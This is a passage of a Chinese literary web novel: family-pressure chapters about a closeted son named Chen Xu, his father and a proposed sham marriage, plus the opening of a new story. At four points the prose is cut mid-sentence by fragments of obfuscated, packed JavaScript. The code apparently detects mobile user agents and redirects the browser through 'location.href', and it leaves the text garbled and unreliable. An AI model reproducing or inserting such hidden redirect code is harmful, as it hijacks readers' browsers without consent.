“行了，我们几个老家伙去隔壁棋牌室打两圈，让他们年轻人自己聊聊。”刘叔站起来，挥了挥手，“老陈，走，杀两盘。” 大人们鱼贯而出，包厢门关上的一刹那，原本那个嘈杂、虚伪的世界被隔绝在外了一半。 包厢里安静下来，只剩下排风扇呼呼转动的声音。 空气里的烟味依然散不掉，像是一层灰蒙蒙的纱，罩在两人中间。 刘敏并没有像一般相亲女孩那样表现出羞涩或局促。大人们一走，她整个人像是泄了气的皮球，原本挺直的背脊瞬间塌了下来。她从包里掏出手机，看了一眼，又随手扔在桌上。 “你想喝点什么吗？”陈叙礼貌性地打破沉默，“这里有菜单。” “不用了。”刘敏的声音很冷，透着一股疲惫的沙哑，“这儿的茶都是陈茶，一股霉味。” 她抬起头，透过镜片看着陈叙。那双眼睛不大，但很亮，里面没有相亲时常见的审视或期待，只有一种看透了底牌的冷静。 “其实我知道你是被逼来的。”刘敏拿起桌上的不锈钢勺子，在空荡荡的玻璃杯里搅动，发出清脆单调的当啷声。 陈叙愣了一下，随即苦笑：“这么明显吗？” “很明显。”刘敏停止了搅动，勺子指了指陈叙的眼睛，“你进门到现在，看了那盆假花三次，看了墙上的画两次，看了手机一次。但你一次都没有真正看过我。” 陈叙有些尴尬地握紧了茶杯：“抱歉，我……” “别误会，我没怪你。”刘敏嘴角勾起一抹自嘲的弧度，“因为我也一样。我对男人没兴趣。” 陈叙的心脏猛地跳了一下。他下意识地看向门口，生怕有人在偷听。 “你是说……” “我是不婚主义者。但我爸妈以死相逼。”刘敏打断了他，她从羽绒服口袋里摸出一个精致的女士烟盒，抽出一支细长的烟，夹在指尖，却没点火，“上个月，我妈为了逼我相亲，吃了半瓶安眠药。虽然洗胃洗回来了，但我怕了。” 陈叙沉默了。他太熟悉这种剧情了。在东亚家庭里，身体是可以作为武器的，死亡是可以作为筹码的。 “所以，陈叙。”刘敏把玩着那支烟，身体微微前倾，压低了声音，“我们要不要……合作？” “合作？” “形婚。”刘敏吐出这两个字，清晰得像是一声脆响，“我们各取所需。领个证，办个酒，给他们演一场大戏。你是上海的高级经理，我是县城的银行职员，多般配。结了婚，你在上海过你的，我在县城过我的。逢年过节配合演一下，平时互不打扰。” 这是一个极其诱人的提议。 在这个瞬间，陈叙的脑海里迅速闪过无数个画面：父亲满意的笑脸、母亲抱着“孙子”在小区里炫耀的神情、再也不用面对的催婚电话、以及那个终于可以安静下来的春节。 这是一种在这个生态系统里最完美的生存策略。代价仅仅是牺牲掉一部分所谓的“诚实”，换取一个坚硬的、合法的、能挡住所有风雨的壳。 “我有房子，可以写你的名字一半，当作补偿。”刘敏继续加码，她的眼神里闪烁着一种绝望的精明，那是溺水者抓住最后一块木板时的决绝，“如果你想要孩子，我们可以做试管，我负责带。你只需要提供精子和抚养费。” 陈叙看着她。 在这个烟雾缭绕的包厢里，看着对面这个陌生的女人。她不是在谈恋爱，她是在谈一笔生意，一笔关于生存权的交易。她把自己的子宫、未来、甚至人生，都摆上了谈判桌，只为了换取一点点不再被父母折磨的安宁。 陈叙的手指在桌下绞紧了。 他动心了。那一刻，他真的动心了。那个“正常人”的诱惑太大了，大到让他几乎想要立刻点头。 就在这时，包厢的门被猛地推开了。 没有敲门，也没有预兆。陈卫国探进半个身子，手里夹着半截香烟，脸上挂着那种油腻的、探究的笑。 “聊得怎么样啊？” 父亲的目光像两条滑腻的蛇，迅速在两人身上游走。他看到了两人靠近的身体，看到了刘敏脸上的红晕（其实是刚才激动的），也看到了陈叙眼里的闪烁。 他很满意。 “小敏啊，我们家陈叙要是话少，是个闷葫芦，你多担待。”陈卫国走进来，大咧咧地拍了拍陈叙的肩膀。那一巴掌拍得很重，带着一种宣示主权的意味——看，这是我的儿子，我的作品，现在我要把他推销出去了。 陈叙闻到了父亲身上浓烈的烟味，混合着中年男人特有的油味，直冲鼻腔。 他看着父亲那张堆满笑容的脸。 在那张脸上，他看不到一丝对儿子的关心，看不到一丝对“爱情”的尊重。他只看到了一种等待验收工程进度的急切，一种要把两头牲口赶紧配对成功的功利。 父亲根本不在乎他和刘敏是否有共同语言，不在乎他们是否相爱，甚至不在乎他们是否快乐。父亲只在乎这桩“交易”能不能成交，那个名为“正常家庭”的各种指标能不能达成，能不能让他去老战友面前吹嘘一句：“我儿子定下来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088240|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果陈叙真的答应了刘敏，那就是在和父亲合谋。 那就是在用一个巨大的谎言，去喂养这头名为“虚荣”的怪兽。而这头怪兽吃饱了之后，只会变得更加贪婪，它会索要孙子，索要二胎，索要更多更多的“正常”。 一阵强烈的、生理性的反胃感，毫无预兆地从陈叙的胃底翻涌上来。 那是一种比晕车还要难受的恶心。像是吞了一只活苍蝇，在他的食道里嗡嗡作响。 “爸。” 陈叙猛地站了起来，椅子在地板上划出刺耳的尖叫。他的脸色在那一瞬间变得煞白，额头上渗出了细密的冷汗。 “我不舒服。” 陈卫国的笑容僵在了脸上，像是一块干裂的石膏，扑簌簌地往下掉粉。 “什么？”父亲的声音沉了下来，眼神里的温度瞬间消失，取而代之的是一种严厉的警告。 “胃疼。老毛病了。”陈叙捂着肚子，这不是装的，他的胃真的在痉挛，那是身体在代替灵魂进行剧烈的抵抗，“我想先回去。” 他不敢看刘敏的眼睛。他知道那里会是失望，甚至是鄙夷。但他顾不上了。 陈卫国死死地盯着他。 那双浑浊的眼睛微微眯起，闪过一丝阴鸷。那是权威受到挑战时的本能反应，也是一种被戏弄后的恼羞成怒。他看穿了陈叙的把戏，他知道这是借口，是逃避，是对他精心安排的这局棋的掀桌。 但他不能发作。在外人面前，戏还得演下去。 “这孩子……”陈卫国咬着后槽牙，从齿缝里挤出一声干笑，转头对刘敏露出一个歉意的表情，“可能是水土不服。真是对不住啊，小敏。下次，下次让叔叔做东，咱们再聚。” 刘敏坐在那里，看着陈叙苍白的脸，似乎明白了什么。她把那支一直没点燃的烟重新塞回烟盒，眼神黯淡下去，重新变回了那个疲惫的、顺从的银行职员。 “没关系。身体要紧。”她淡淡地说。 四、 囚笼 回家的路上，车厢里死一样的寂静。 陈卫国没有开广播，也没有说话。他把车开得飞快，见车就超。发动机发出嘶哑的咆哮声，像是在替主人发泄着无处安放的怒火。 一个急刹车。 陈叙的身体猛地前冲，安全带死死地勒住他的胸口，像是一条蟒蛇在收紧绞杀。锁骨处传来一阵锐利的痛感。 “到了。”父亲冷冷地说。 车停在红绿灯路口。陈卫国双手紧紧地握着方向盘，指关节因为用力而泛白，手背上的青筋暴起，像一条条蜿蜒的蚯蚓。 他没有转头看陈叙，只是死死地盯着前方的红灯。那个红色的圆点倒映在他的瞳孔里，像两团燃烧的鬼火。 “你是故意的。” 父亲突然开口，声音平静得可怕，却带着一种令人毛骨悚然的寒意。 陈叙靠在椅背上，胃里的痉挛还没有平复。他看着窗外灰扑扑的街道，看着那些在这个阴冷的下午依然奔波的人群。 “我是真不舒服。”陈叙低声说。 “胃疼？”陈卫国冷笑了一声，那笑声短促而尖锐，“我看你是心疼。你是心疼你自己！你是为了你那点可怜的自由，连你爸的脸都不要了！” 绿灯亮了。 陈卫国一脚油门踩到底。巨大的推背感把陈叙狠狠地拍在座椅上。 车子像一颗失控的子弹，射向那个名为“家”的靶心。 陈叙闭上眼，感觉那条安全带越勒越紧，勒得他几乎无法呼吸。他知道，这不是一条安全带，这是一条脐带。一条已经老化、腐烂，却依然坚韧无比的脐带。 它连接着他和那个愤怒的中年男人，连接着那个发霉的家属院，连接着这片潮湿阴冷的土地。 无论他逃到哪里，只要这一端轻轻一扯，他就得乖乖地被拽回来，在那张布满了灰尘的网里，继续做一只无法飞翔的标本。 17. 《湿疹》（4） 夜里十一点，陈叙躺在床上。 这是一间被时间封印的卧室。书架上还整整齐齐地码着他高中时的教材：《五年高考三年模拟》、发黄的作文本、以及一排早就干涸了的墨水瓶。墙上贴着一张周杰伦《范特西》的海报，边角卷曲，泛着一种陈旧的黄褐色。 父母把这里维持得和他十八岁离家时一模一样，连书桌上那个缺了口的笔筒位置都没有挪动过。这种刻意的“不变”，让陈叙感到一种毛骨悚然的陌生。他像是一个误闯进自己陵墓的幽灵，看着曾经的肉身留下的痕迹。 床单是新换的，纯棉，带着一股浓烈的樟脑丸味道。那是一种防蛀的、辛辣的、属于老年人的气味，在被窝的温度下蒸腾起来，钻进他的睡衣领口。 门外传来脚步声。 拖鞋摩擦地板的声音，很轻，但在寂静的夜里显得格外清晰。那脚步声在门口停住了，没有敲门，只有压抑的呼吸声透过门缝渗进来。 陈叙盯着天花板角落里的一块水渍，那是楼上漏水留下的地图。他数着自己的心跳，等待着那个必然会发生的入侵。 “咔哒”。 门把手转动。父亲推门走了进来。 他穿着一套灰色的棉质睡衣，手里端着一只玻璃杯。杯口冒着热气，袅袅上升，模糊了他那张在顶灯阴影下显得格外沟壑纵横的脸。 “没睡吧？”父亲问。这是一句废话，因为陈叙正睁着眼睛。 “没。” “把这个喝了。”父亲走过来，把杯子放在床头柜上。 那是热牛奶。用奶粉冲的，太浓了，表面结了一层皱皱巴巴的奶皮，像是一层老去的皮肤。陈叙从小就讨厌这股腥甜的味道，但在陈卫国的养生逻辑里，这是安神补钙的圣品，是不容拒绝的关怀。 “刷过牙了。”陈叙说，身体往被子里缩了缩。 “喝了再刷。” 父亲没有走。他拉开书桌前的椅子，转了个向，对着床坐了下来。椅子的脚垫早就磨光了，在地板上划出“滋拉”一声尖锐的声响，像指甲刮过黑板。 这是一场审讯的开场白。 陈叙撑着身子坐起来，靠在床头。他端起那杯牛奶，杯壁滚烫。他忍着恶心，小口地抿着，那层奶皮粘在他的上嘴唇，油腻腻的。 父亲看着他喝，目光像是一盏瓦数过高的白炽灯，聚焦在他的脸上。 “那个小刘，推给我的微信，你通过了吗？”父亲从口袋里掏出烟盒，抽出一支，放在鼻子底下闻着，没有点火。 “通过了。”陈叙撒谎。 “聊了吗？” “没。忙。” “忙。”父亲重复了一遍这个字，嘴角扯动了一下，似笑非笑，“陈叙，你是不是觉得，爸老了，在这个小县城待傻了，好糊涂？” 陈叙握着杯子的手紧了一下：“没有。” “你是我生的。你身上长几根骨头，甚至你放个屁是什么味儿，我都知道。”父亲把那支烟夹在耳朵上，身体微微前倾，那股陈皮味混合着老男人的体味逼了过来，“今天在茶楼，你那是胃疼吗？你是心疼。你是怕那个姑娘沾上你，你就再也脱不了身了。” 陈叙没有说话。他低头看着杯子里乳白色的液体，那液面随着他的呼吸微微颤动。 “我知道你在上海眼界高。” 父亲的声音低沉，在这个狭窄的房间里回荡，带着一种金属的质感。 “你觉得我们俗，觉得结婚生子是老一套，是封建余孽。你读了书，看了外面的世界，觉得自由最重要，感觉最重要。是不是？” 陈叙放下杯子，玻璃杯底磕在床头柜上，发出一声脆响。 “爸，如果是为了结婚而结婚，两个人没感情，那是害了人家，也是害了自己。”陈叙试图用一种理性的、成年人的逻辑去沟通。 “害什么？” 父亲突然冷笑了一声。他把耳朵上的烟拿下来，捏在手里揉搓，烟丝扑簌簌地掉在地上。 “感情？感情是个什么东西？那是能当饭吃，还是能当药吃？” 陈卫国站了起来，在房间里踱步。他的影子投在墙上，被周杰伦的海报切割得支离破碎。 “我和你妈结婚前见都没见过，不一样过了一辈子？陈叙，你今年三十三了，不是十三岁。人活在这个世上，不是为了让你爽的。你是人，是人就得走人的路。什么年纪干什么事，这是规矩！是天道！” 他猛地转过身，手指指着陈叙的鼻子，手指尖因为常年吸烟而发黄。 “你不结婚，让我们老陈家绝后，那才是害人！害我！害你妈！害列祖列宗！你让我们以后死了都没脸见地下的人！” 这顶帽子太大了，太沉了。它是五千年的宗族伦理凝聚成的一块墓碑，重重地压了下来。 陈叙感到一阵窒息。他看着父亲那张因为激动而微微颤抖的脸，看着那双布满红血丝的浑浊眼睛。他突然明白，他和父亲之间隔着的不是代沟，而是两个物种的差异。 在父亲的世界里，人是家族链条上的一环，是个体为了集体必须牺牲的燃料。而在陈叙的世界里，人首先属于自己。 “爸，有些事，勉强不来的。”陈叙的声音很轻，透着一股深深的无力。 父亲停下了脚步。 他看着陈叙，眼神突然变了。那种咄咄逼人的愤怒消失了，取而代之的是一种小心翼翼的、近乎探究的怀疑。 这种怀疑比愤怒更让陈叙感到寒冷。 父亲重新坐回椅子上，椅子发出痛苦的呻吟。他把身体凑近了一些，压低了声音，像是在商量一个不可告人的秘密。 “陈叙，你给爸交个底。” 父亲吞了一口唾沫，喉结上下滚动，似乎接下来的话很难启齿。 “你是不是……身体有什么毛病？” 陈叙愣住了。 “如果是……那方面不行，或者是没什么兴致，咱去治。”父亲的语气变得急切，甚至带着一丝希望的光亮，“现在的医疗技术发达，上海不行咱去北京。爸有钱，你妈那还有十几万存款。只要是病，就能治。啊？” 陈叙看着父亲殷切的眼神。 那一瞬间，他心如刀绞。 父亲已经把梯子递到了他的脚边。只要他顺着这个台阶下，承认自己“有病”，承认自己是一个生理上的弱者，那么一切都可以被原谅。他将获得父母无限的同情、宽容和照顾。他将从一个“不孝子”变成一个“可怜的受害者”。 这是一种多么诱人的、充满诱惑力的堕落。 但他做不到。 承认自己“有病”，就是对自己存在本身的否定。就是承认他的爱是病态的，他的欲望是肮脏的，他的人生是残缺的。 胃里那股恶心的感觉又翻涌上来。陈叙深吸了一口气，手指死死地抓着棉被的边缘。 “爸，我没病。” 陈叙抬起头，直视着父亲的眼睛。这是他回家以来，第一次如此坦荡、如此赤裸地看着父亲。 “我很健康。身体没问题，心理也没问题。” “那你为什么……”父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088241|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的眼神开始闪烁，他似乎预感到了什么，身体本能地往后缩了一下。 “我不喜欢女人。” 这几个字很轻，像是羽毛落地。但在寂静的深夜里，它们如同惊雷。 陈叙看着父亲。他没有说出那三个字，但意思已经足够明白了。 时间在这一刻仿佛停止了流动。 陈卫国坐在那里，保持着那个后缩的姿势。他的嘴唇微微张着，眼神凝固在陈叙的脸上。 那一瞬间，陈叙看到了父亲眼里的东西。 那不是愤怒，不是厌恶。那是恐惧。 一种深不见底的、对于未知的、对于异类的、对于整个世界观崩塌的恐惧。他听懂了，但他拒绝让那个真相进入他的大脑皮层进行处理。 那个真相是一只丑陋的怪物，正试图从潘多拉的盒子里爬出来。而父亲的第一反应，不是杀死它，而是要把盖子狠狠地盖回去。 “你……” 父亲发出了一个单音节，声音沙哑，像是从生锈的风箱里挤出来的。 陈叙等着。等着暴风雨，等着耳光，等着“滚出去”的咆哮。那样反而痛快，那样就是决裂，就是解脱。 但是，没有。 陈卫国猛地站了起来，动作幅度之大，差点带翻了椅子。 他转过身，背对着陈叙。他的肩膀剧烈地起伏着，双手死死地抓着裤缝。 “早点睡吧。” 父亲说。 声音很平，平得没有任何起伏，像是一条死人的心电图。 “明天还要赶车。” 说完，他大步走向门口，脚步有些踉跄，像是在逃离一个刚刚发生了凶杀案的现场。 “爸……”陈叙喊了一声。 “睡觉！” 父亲没有回头，这一声低吼带着颤音，像是一只受伤的野兽在警告靠近的人。 门“砰”的一声关上了。 房间重新陷入了死寂。 陈叙坐在床上，看着那扇紧闭的门。他听到了门外父亲沉重的呼吸声，听到了打火机打了几次才打着的声音，然后是极力压抑的咳嗽声。 父亲选择了不知道。 他选择把刚刚听到的那句话，把那个呼之欲出的真相，像封存一只死苍蝇一样，封进琥珀里。 只要不打碎这块琥珀，只要不把那层透明的树脂剥开，那么陈叙就依然是那个“有点怪癖”、“工作太忙”、“眼光太高”的儿子，而不是一个……那种人。 这是一场无声的合谋。父亲用他的逃避，强行维持了父子关系的表面完整。他拒绝了陈叙的坦白，也剥夺了陈叙决裂的资格。 陈叙慢慢地躺回被窝里。 那杯牛奶还放在床头柜上，已经彻底冷透了。奶皮凝结成了一块坚硬的固体，死气沉沉地覆盖在液面上。 脖子上的湿疹开始剧烈地瘙痒。 那是身体在替他尖叫。 陈叙伸出手，用力地抓挠着那块皮肤。指甲划破了表皮，渗出了一点血丝，带来一阵尖锐的刺痛。这种疼痛让他感到一丝真实。 他知道，这个家并没有因为他的坦白而破碎，它只是变得更加坚硬了。像一个巨大的茧，把他，把父亲，把母亲，都紧紧地包裹在里面。他们在里面互相折磨，又互相依偎，谁也飞不出去。 窗外下起了雨。冬夜的冷雨打在玻璃上，发出细密的、沙沙的声响，像是在替谁哭泣，又像是在掩盖一切声音。 陈叙闭上眼睛，在满屋子樟脑丸的味道里，感到一种彻骨的寒冷。 18. 《湿疹》（5） 走的那天，平江县下起了冻雨。 这不是北方的雪，是雨。雨水在落到地面的瞬间冻结成冰，给所有的物体——树枝、电线、栏杆，都裹上了一层晶莹剔透却又坚硬无比的壳。天空是铅灰色的，压得很低，仿佛抬手就能摸到那层湿冷的云底。 卧室里，那只银灰色的24寸行李箱摊开在地上，像一只被开膛破肚的巨兽。 母亲李秀兰跪在地上，正在进行一场艰难的缝合手术。箱子已经被塞满了，但她手里还拿着一瓶用矿泉水瓶装着的剁椒酱，试图寻找最后的缝隙。 “妈，真装不下了。”陈叙站在旁边，看着母亲涨红的脸，“上海超市里什么都有，味道也差不多。” “差多了。”母亲头也不抬，手肘用力地顶着箱盖，“上海那是机器做的，这是你爸去乡下收的朝天椒，一刀一刀剁出来的。没防腐剂。” 她终于在两件羽绒服的夹层里找到了一个空隙，把那个鼓鼓囊囊的塑料瓶硬塞了进去。瓶身被挤压变形，里面的红油晃动着，仿佛随时会爆裂开来。 “你看，这不进去了？”母亲松了一口气，开始拉拉链。 拉链发出尖锐的嘶鸣，卡在转角处。母亲整个人的重量都压了上去，膝盖顶着箱面，牙齿咬着下嘴唇，脸上的皱纹因为用力而挤在了一起。 陈叙看着这一幕，心里泛起一阵酸楚的无力感。 这只箱子就是他与这个家的隐喻。父母试图把自己认为最好的、但也许并不适合他的东西，强行塞进他的人生里。他们不管那个空间是否足够，也不管会不会挤压变形，他们只知道：这是家里的味道，你必须带走。 “刺啦——” 伴随着一声长响，拉链终于合拢了。箱子被撑得圆鼓鼓的，看起来岌岌可危。 母亲扶着膝盖站起来，喘着粗气，拍了拍手：“好了。回去放冰箱，能吃半年。” 陈叙提起箱子，沉得坠手。那里面装的不是食物，是这一年沉淀下来的、无法被消化的沉重爱意。 “爸呢？”陈叙环顾四周。 “在阳台收衣服吧。”母亲眼神闪烁了一下，去厨房拿那个装了煮鸡蛋的塑料袋。 陈叙走到阳台。 阳台没有封窗，冷风夹杂着冰粒扑面而来。陈卫国站在那里，背对着客厅，身上穿着那件深蓝色的夹克，领子竖着。 他手里夹着烟，烟头在灰白色的雨雾中忽明忽暗。 “爸，我走了。”陈叙喊了一声。 陈卫国的背影僵了一下。他没有回头，只是抬起夹烟的那只手，在空中摆了摆。 那是一个很奇怪的动作。不像是挥手告别，倒像是在驱赶面前恼人的烟雾，或者是在否定什么、拒绝什么。 烟雾缭绕中，陈叙看到了父亲的后颈。那里的皮肤松弛、灰暗，深深的沟壑里藏着陈年的污垢和岁月。风吹乱了他稀疏的头发，露出一块苍白的头皮。 他站在那里，像是一尊被遗忘在雨里的旧雕塑。 昨晚那场关于“真相”的对话，像是一场没有硝烟的核爆。虽然房子没塌，人还活着，但有些东西已经变成了废墟。父亲选择了背对这片废墟，假装身后的一切都不存在。 “路上滑，慢点。” 父亲的声音传过来，很闷，被风吹散了大半，听不出情绪。 陈叙站了几秒钟，看着那个倔强的、佝偻的背影。他想走过去，想说点什么，比如“对不起”，比如“保重”。 但他最后只是动了动嘴唇，什么也没说。 转身，提起那个沉重的箱子，走出了家门。 老式楼道里阴冷潮湿。 箱子的滚轮在水泥台阶上磕碰，发出“咚、咚、咚”的闷响。每一声都在空荡的楼道里回荡，像是某种沉重的倒计时。 陈叙一级一级地下楼。每下一层，那种压在胸口的窒息感就减轻一分，但随之而来的是一种空落落的牵扯感。 出租车已经在楼下等着了。 陈叙把箱子塞进后备箱，坐进了后座。车厢里开着暖气，有着一股陈旧的皮革味和司机留下的烟味。 “去高铁站？”司机问。 “嗯。” 车子启动，碾过地上的薄冰，发出咔嚓咔嚓的碎裂声。 陈叙靠在椅背上，看着窗外飞速后退的县城。 街道两旁的店铺都关着门，贴着红色的对联。路灯杆上挂着的红灯笼被雨淋湿了，颜色变得暗沉，像是一团团凝固的血块。这座小城在这个阴雨的清晨显得格外萧瑟，像是一个刚刚结束了狂欢、正在收拾残局的疲惫老人。 突然，陈叙感觉脖子上有点痒。 一开始只是轻微的刺痒，像是有蚂蚁在爬。他下意识地伸手去挠，指尖触碰到了一片粗糙的凸起。 湿疹犯了。 这是他的身体对这片土地最诚实的反应。 每次回来，只要超过三天，南方的湿气和家里那种粘稠的氛围，就会诱发他免疫系统的过度防御。红斑会顺着锁骨蔓延到脖颈，然后在离开的那一天达到顶峰。 他用力地抓挠着，指甲划过皮肤发出沙沙声。痛感稍微压制了痒意，但很快，更剧烈的痒从皮肤深处泛上来，钻心蚀骨。 皮肉在燃烧。 那是他对“家”的过敏反应。他在排斥这里，同时也被这里排斥。 手机在口袋里震动了一下。 陈叙拿出来，屏幕的光在昏暗的车厢里有些刺眼。 是一条微信转账。 来自“陈卫国”。 金额：5000.00。 没有备注，没有说明。就是一个冷冰冰的数字，在这个黄色的转账框里显得格外醒目。 紧接着，是一条语音。只有短短的五秒。 陈叙的手指悬停在屏幕上方。他看着那个红色的“1”，犹豫了很久，最后还是点了下去。他把手机听筒贴在耳朵上，像是要听取一个来自另一个世界的判决。 听筒里首先传来的是一阵嘈杂的风声，那是阳台上的风。 然后是父亲的声音，含混不清，带着一种极力压抑的沙哑： “那个……钱拿着。别省。还有……那个治湿疹的药膏，我塞在你箱子侧面的袋子里了。到了记得擦。” 语音戛然而止。 陈叙维持着听电话的姿势，僵在那里。 车窗外，雨越下越大，噼里啪啦地打在玻璃上，模糊了视线。 父亲知道。 他一直都知道。 他知道陈叙有湿疹，知道陈叙对这个家“水土不服”，甚至可能早就隐约猜到了陈叙的秘密。 但他什么都没说。他没有选择决裂，没有选择驱逐，也没有选择拥抱。 他选择了塞一管药膏，转一笔钱。 这是父亲能给出的最大限度的爱——一种带有回避性质的修补。他无法根治儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088242|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心灵上的“病”，也无法接受儿子真实的“病”，所以他只能试图治好儿子皮肤上的病。 他用这五千块钱和那一管药膏，买断了父子之间关于真相的对峙。 他在告诉陈叙：别说了。我不想听。带着这笔钱，带着这管药，回到你的世界去吧。只要你过得好，只要你别把那些让我难堪的真相带回来，你就还是我的儿子。 陈叙看着那个转账界面。 他想点“收款”，手指却重得抬不起来；想回一句“谢谢爸”，喉咙却像是被棉花堵住了。 最后，他锁上了屏幕，把手机反扣在大腿上。 那五千块钱，像一块发烫的烙铁，隔着屏幕灼烧着他的皮肤。 高铁站到了。 巨大的进站大厅像一只白色的巨兽，吞吐着从各个县城汇聚而来的人流。 陈叙拖着那个变形的箱子，混在人群里。周围是嘈杂的乡音，是孩子的哭闹，是广播里机械的女声。 他没有回头。他知道身后没有人送别，那辆熟悉的黑色别克车并没有跟来。 检票，进站，上车。 商务座的车厢里很安静，恒温24度，空气里弥漫着淡淡的香氛味，干燥，清洁，文明。 陈叙找到自己的座位，把那个沉重的、沾满了泥水和烟火气的箱子塞进行李架。箱子进去的时候，发出一声沉闷的声响，像是某种彻底的割裂。 他坐下来，调整好座椅，看着窗外。 列车缓缓启动。站台上的灯光向后划去，拉成一条条光带。紧接着是县城边缘那些灰扑扑的楼房、烂尾的工地、枯黄的农田。 速度越来越快，窗外的景色变成了一片模糊的灰绿。 脖子上的痒意越来越剧烈，火烧火燎。 陈叙想起了父亲的话。 他站起来，打开行李架上的箱子。在侧面的那个小袋子里，摸到了一个冰凉的硬物。 是一管“皮炎平”。绿色的铁皮管，已经被挤得有些变形了，显然是家里没用完剩下的。 陈叙坐回位置，拧开盖子。一股熟悉而刺鼻的薄荷脑味道弥漫开来。 他挤出一点白色的药膏，涂在脖子上那片红肿的皮肤上。 冰凉。 那种极致的冰凉瞬间覆盖了灼热的痒意。药膏渗进皮肤，刺痛，然后是麻木。 陈叙闭上眼睛，仰头靠在椅背上。 这种药膏治不好湿疹，它只能暂时压制症状。等药效过了，等下一个阴雨天，或者等下一次他不得不再次面对那个家的时候，那些红斑还会卷土重来。 这就像是他和父母的关系。 没有和解，没有治愈，只有漫长的、反复发作的阵痛，以及为了止痛而涂抹的一层层厚厚的沉默与妥协。 他不仅带走了母亲做的剁椒酱，带走了父亲给的钱，也带走了这身无法根治的“湿疹”。这片潮湿的江南，已经渗进了他的骨血里，成为了他基因的一部分。 手机震动了一下。 屏幕上跳出一行字：“陈卫国”的转账已自动退回。 陈叙看着那行字，眼泪毫无预兆地砸在了手机屏幕上，晕开了一片水渍。 列车呼啸着穿过漫长的隧道，将那片潮湿的南方雨季远远地甩在身后。前方是干燥的、明亮的、自由的，却也是孤独的荒原。 而在他的脖颈上，那层白色的药膏正慢慢变得透明，渗入肌理，与他融为一体。 19. 直到那辆救护车开走（1） 那时候我们正在喝杜松子酒。 那天是周二，或者周三，这不重要。重要的是酒瓶快空了，而电视里的声音开得很大。 那是一台我们需要用力拍打侧面才能让画面停止抖动的旧电视机。屏幕上，一个穿着亮片西装的主持人正因为一个糟糕的笑话而笑得前仰后合，露出一口白得不自然的牙齿。 劳拉坐在沙发的那一头，脚趾甲上涂着那种鲜艳得令人不安的红色指甲油。她正在用一把不再锋利的小刀削苹果。皮断了，她叹了口气，像是刚刚失去了一个亲密的朋友。 “不管是哪里，”她说，眼神没有离开苹果，“只要不是这里就行。哪怕是去那种除了沙子就是仙人掌的地方。” 她在说旅行的事。这是我们最近唯一的谈资。我们假装在计划一次永远不会发生的旅行，以此来掩盖我们甚至付不起下个月有线电视费的事实。 “亚利桑那，”我说，晃了晃杯子里最后一块融化的冰，“或者是新墨西哥。那是以前核试验的地方。我们可以去看大坑。” “我不想看大坑，”劳拉说，终于切下了一块苹果，但没有吃，只是放在茶几上那张满是油渍的披萨传单上，“我想看水。很多水。淹没脚踝的那种。” 我看着她。她穿着那件领口有些松垮的灰色卫衣，那是我的衣服。她把头发随便扎在脑后，几缕油腻的发丝垂在耳边。我记得三年前我曾觉得这很性感，那种颓废的、漫不经心的美。现在，我只觉得那是一种放弃。我们都在放弃。 “那就去海边，”我说，“虽然海边只有死鱼和防晒霜的味道。” 就在这时，声音传来了。 那不是一声尖叫，也不是那种电影里夸张的撞击声。那是一种沉闷的、湿润的声响，就像是一大袋浸透了水的旧报纸被狠狠地摔在水泥地上。噗。紧接着是一阵令人耳鸣的寂静。 劳拉手里的刀停住了。“那是什么？” “不知道，”我说。但我其实知道。那种声音里有一种终结的意味，不像是汽车爆胎，也不像是谁家打翻了花盆。 “你去看看，”她说。 我没动。我看着杯子里的柠檬片，它像一具浮尸一样在杜松子酒里打转。“可能是楼下的猫。或者那个总是醉醺醺的邮差摔倒了。” “去看看。”她坚持道。 我站起来，膝盖发出一声脆响。我走到窗边，那是三楼。窗帘有一半脱落了挂钩，耷拉着像一只受伤的翅膀。我把那一角掀开，往外看。路灯是那种病态的黄色，照亮了下面狭窄的街道。 那不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088243|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫。 “是什么？”劳拉在背后问。她甚至没有站起来。 “是那个穿风衣的人，”我说，“住五楼的那个。或者是四楼。总是低着头走路那个。” “他怎么了？” 